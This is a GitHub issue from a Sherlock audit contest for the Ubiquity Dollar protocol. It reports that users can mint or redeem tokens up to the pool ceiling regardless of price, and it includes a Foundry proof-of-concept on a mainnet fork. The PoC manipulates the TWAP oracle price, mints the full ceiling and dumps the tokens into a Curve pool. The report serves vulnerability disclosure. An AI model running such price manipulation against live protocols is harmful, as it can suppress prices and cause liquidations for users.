sherlock-audit / 2023-12-ubiquity-judging

2 stars 2 forks source link

evmboi32 - Users can mint or burn too much tokens. #143

Closed sherlock-admin closed 10 months ago

sherlock-admin commented 10 months ago

evmboi32

medium

Users can mint or burn too much tokens.

Summary

The functions mintDollar and redeemDollar don't check how many tokens can be minted or burned to bring the price back to $1. If the tokens can be minted they can be minted up to the poolCeiling which should be an unintended behavior.

Vulnerability Detail

Coded POC

Add this to a new file in the ./packages/contracts/test/diamond/facets/MintDollar.t.sol
Run with forge test --match-path ./test/diamond/facets/MintDollar.t.sol -vvv --fork-url RPC_URL

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {TWAPOracleDollar3poolFacet} from "../../../src/dollar/facets/TWAPOracleDollar3poolFacet.sol";

import "forge-std/Test.sol";
import "../DiamondTestSetup.sol";
import "forge-std/console.sol";

contract MockERC20 is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol) {}

    function mint(address to, uint256 value) public virtual {
        _mint(to, value);
    }

    function burn(address from, uint256 value) public virtual {
        _burn(from, value);
    }
}

interface IMetaPool {
    // Add liquidity to the pool
    function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external;

    // Remove liquidity from the pool
    function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts) external;

    // Remove liquidity in a single token
    function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_amount) external;

    // Perform a swap from one token to another
    function exchange(int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount) external returns(uint256);

    // Get the current balance of a token in the pool
    function balances(int128 i) external view returns (uint256);

    // Get the current price of a token in the pool
    function get_virtual_price() external view returns (uint256);

    function coins(uint256 arg0) external view returns (address);

    function get_price_cumulative_last() external view returns (uint256[2] memory);

    function block_timestamp_last() external view returns (uint256);
}

interface ICurveFactory {
    // The function and parameters depend on the specific Curve Factory interface
    function deploy_metapool(address base_pool, string calldata name, string calldata symbol, address token, uint256 A, uint256 fee) external returns (address);
}

contract MetaPoolTest is DiamondTestSetup {
    // This is the Curve.fi DAI/USDC/USDT pool
    address constant private threeCurvePoolAddress  = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;

    // This is the Curve.fi DAI/USDC/USDT (3Crv) token
    address constant private threeCurveTokenAddress = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;

    // This is the address of curve factory used to deploy a metapool
    address constant private curveFactoryAddress    = 0x0959158b6040D32d04c301A72CBFD6b39E21c9AE;

    ICurveFactory private curveFactory;
    address private metaPoolAddress;

    ERC20 private threeCRVToken;
    IMetaPool private metaPool;

    // Mock token used as collateral, should represent LUSD or DAI
    MockERC20 collateralToken;

    // Collateral price in USD with 8 decimals
    int256 collateralPrice = 1e8;

    // Pool ceiling
    uint256 poolCeiling = 50_000e18; // max 50_000 of collateral tokens is allowed

    function setUp() public override{
        super.setUp();

        // Set the Curve Factory address
        curveFactory = ICurveFactory(curveFactoryAddress); 
        threeCRVToken = ERC20(threeCurveTokenAddress);
        collateralToken = new MockERC20("COLLATERAL", "CLT", 18);

        // Deal tokens used for initial liquidity in the pool
        deal(address(dollarToken), address(this), 100000 ether);
        deal(address(threeCRVToken), address(this), 100000 ether);

        // Deploy the MetaPool through Curve Factory
        metaPoolAddress = curveFactory.deploy_metapool(
            threeCurvePoolAddress,  // Address of the 3CRV pool
            "MetaPool Token",       // MetaPool Token Name
            "MPT",                  // MetaPool Token Symbol
            address(dollarToken),
            100,                    // A parameter
            0.003 * 1e10            // Fee (example: 0.3%)
        );

        // Create metapool instance
        metaPool = IMetaPool(metaPoolAddress);

        // Add liquidity to the pool
        dollarToken.approve(address(metaPool), 100000 ether);
        threeCRVToken.approve(address(metaPool), 100000 ether);

        // Add liquidity to meta pool
        uint256[2] memory amounts = [uint256(100000 ether), uint256(100000 ether)];
        metaPool.add_liquidity(amounts, 0);

        // Setup a pool
        vm.prank(owner);
        twapOracleDollar3PoolFacet.setPool(metaPoolAddress, address(threeCRVToken));  

        // Setup ubiquityPoolFacet
        // Oracle address set as address(this)
        vm.startPrank(admin);
        ubiquityPoolFacet.addCollateralToken(
            address(collateralToken),
            address(this), 
            poolCeiling
        );

        ubiquityPoolFacet.toggleCollateral(0);

        // Set mint and redeem fees
        ubiquityPoolFacet.setFees(
            0, // collateral index
            0, // 1% mint fee
            0  // 2% redeem fee
        );
        // set redemption delay to 2 blocks
        ubiquityPoolFacet.setRedemptionDelayBlocks(2);

        // set mint price threshold to $1.01 and redeem price to $0.99
        ubiquityPoolFacet.setPriceThresholds(1010000, 990000);
        vm.stopPrank();
    }

    // This is a helper function to manipulate the price of the dollar token with large amounts
    // and by passing time so the TWAP reports price > 1.01 so we can mint tokens
    // not important - only used so we can mint dollar tokens
    function raiseDollarPrice() internal {
        address user = address(0x456);
        deal(address(threeCRVToken), user, 1000000 ether);

        vm.startPrank(user);
        threeCRVToken.approve(address(metaPool), 1000000 ether);
        metaPool.exchange(1, 0, 68000 ether, 0);
        twapOracleDollar3PoolFacet.update();
        vm.stopPrank();

        vm.warp(block.timestamp + 13);
        twapOracleDollar3PoolFacet.update();

        vm.startPrank(user);
        metaPool.exchange(1, 0, 1 ether, 0);
        twapOracleDollar3PoolFacet.update();
        vm.stopPrank();

        vm.warp(block.timestamp + 13);
        // twapOracleDollar3PoolFacet.update();
    }

    function basicTrading() internal {
        address user = address(0x456);

        deal(address(dollarToken), user, 100000 ether);

        vm.startPrank(user);
        dollarToken.approve(address(metaPool), 0);
        dollarToken.approve(address(metaPool), 10000 ether);
        metaPool.exchange(0, 1, 1 ether, 0);
        twapOracleDollar3PoolFacet.update();
        vm.stopPrank();

        vm.warp(block.timestamp + 13);
        twapOracleDollar3PoolFacet.update();

        vm.startPrank(user);
        metaPool.exchange(0, 1, 1 ether, 0);
        twapOracleDollar3PoolFacet.update();
        vm.stopPrank();

        vm.warp(block.timestamp + 13);
        twapOracleDollar3PoolFacet.update();
    }

    // We are using the chainlink price feed as address this to easy change the collateralPrice
    function latestRoundData() external view returns (
      uint80 roundId,
      int256 answer,
      uint256 startedAt,
      uint256 updatedAt,
      uint80 answeredInRound
    ) {
        return (0, collateralPrice, 0, block.timestamp - 13 , 0);
    }

    // Decimals of price feed
    function decimals() external view returns (uint8) {
        return 8;
    }

    function testMintTokens() public {
        address user = address(0xabc);

        // Deal tokens to user and user2
        deal(address(collateralToken), user, 100000 ether);

        // Raise dollar price to > 1.01 so the mintDollar function can be called
        raiseDollarPrice();

        // Get the current price of the dollar token
        uint256 amount0Out = twapOracleDollar3PoolFacet.consult(address(dollarToken));
        uint256 amount1Out = twapOracleDollar3PoolFacet.consult(address(threeCRVToken));
        console.log("Dollar Token Price :", amount0Out);
        console.log("3CRV LP Token Price:", amount1Out);
        console.log();

        // User mint some dollar tokens and deposit collateral, deposit up to the pool ceiling
        // Will deposit the poolCeiling of collateral tokens since no tokens were deposited before
        vm.startPrank(user);
        collateralToken.approve(address(ubiquityPoolFacet), 100000 ether);
        ubiquityPoolFacet.mintDollar(
            0,           // collateral index
            poolCeiling, // Dollar amount - pool ceiling
            0,           // min amount of Dollars to mint
            100000 ether // some large number to pass slippage
        );
        vm.stopPrank();

        // User sells all of the tokens to the pool
        vm.startPrank(user);
        dollarToken.approve(address(metaPool), dollarToken.balanceOf(address(user)));
        metaPool.exchange(0, 1, dollarToken.balanceOf(address(user)), 0);
        twapOracleDollar3PoolFacet.update();
        vm.stopPrank();

        // Some time passes and trades happen that changes TWAP price
        basicTrading();

        // Get the current price of the dollar token
        amount0Out = twapOracleDollar3PoolFacet.consult(address(dollarToken));
        amount1Out = twapOracleDollar3PoolFacet.consult(address(threeCRVToken));
        console.log("Dollar Token Price :", amount0Out);
        console.log("3CRV LP Token Price:", amount1Out);
    }
}
[PASS] testMintTokens() (gas: 1357357)
Logs:
  Dollar Token Price : 1018206719814140700
  3CRV LP Token Price: 976231858722983543

  Dollar Token Price : 973171433635527711
  3CRV LP Token Price: 1021411764554508776

Impact

It can allow the unnecessary minting of tokens and let the price go too high or too low. This can be used to suppress the price (especially with such a low window for the TWAP oracle) and disable users from minting new tokens as the pool ceiling is reached. If the price goes above 1.01 new tokens cannot be minted as the pool ceiling has been reached. The admin would need to set the higher pool ceiling. During that time a lot of positions could get liquidatable if dependant on the TWAP oracle. The same goes for the other direction.

Code Snippet

https://github.com/sherlock-audit/2023-12-ubiquity/blob/main/ubiquity-dollar/packages/contracts/src/dollar/libraries/LibUbiquityPool.sol#L346-L349

https://github.com/sherlock-audit/2023-12-ubiquity/blob/main/ubiquity-dollar/packages/contracts/src/dollar/libraries/LibUbiquityPool.sol#L418-L421

Tool used

Manual Review

Recommendation

This is kinda hard to fix as we cannot know if the minter of tokens would sell them into the pool to lower the price (he should but we cannot be sure). One fix that comes to mind would be to calculate the number of dollar tokens that should raise the price to $1 if they are sold into a pool. This would still allow the attacker to mint the tokens and not sell them. This could be solved by letting mint such amount of tokens every few blocks (if not sold into a pool => price not stabilized).

For example, 1000 dollar tokens are needed to bring the price to $1. Attacker mints 1000 tokens (can't mint more as it would put price below $1 if sold) and doesn't sell. After X blocks such an amount should be mintable again so an honest actor can mint and stabilize the price.

Similar logic should be applied when burning tokens.

Duplicate of #56

sherlock-admin2 commented 10 months ago

1 comment(s) were left on this issue during the judging contest.

auditsea commented:

If tokens are minted and swapped to other tokens to make price go down, borrower will take collateral to swap back to Ubiquity Dollar to stablize price

sherlock-admin2 commented 10 months ago

1 comment(s) were left on this issue during the judging contest.

auditsea commented:

If tokens are minted and swapped to other tokens to make price go down, borrower will take collateral to swap back to Ubiquity Dollar to stablize price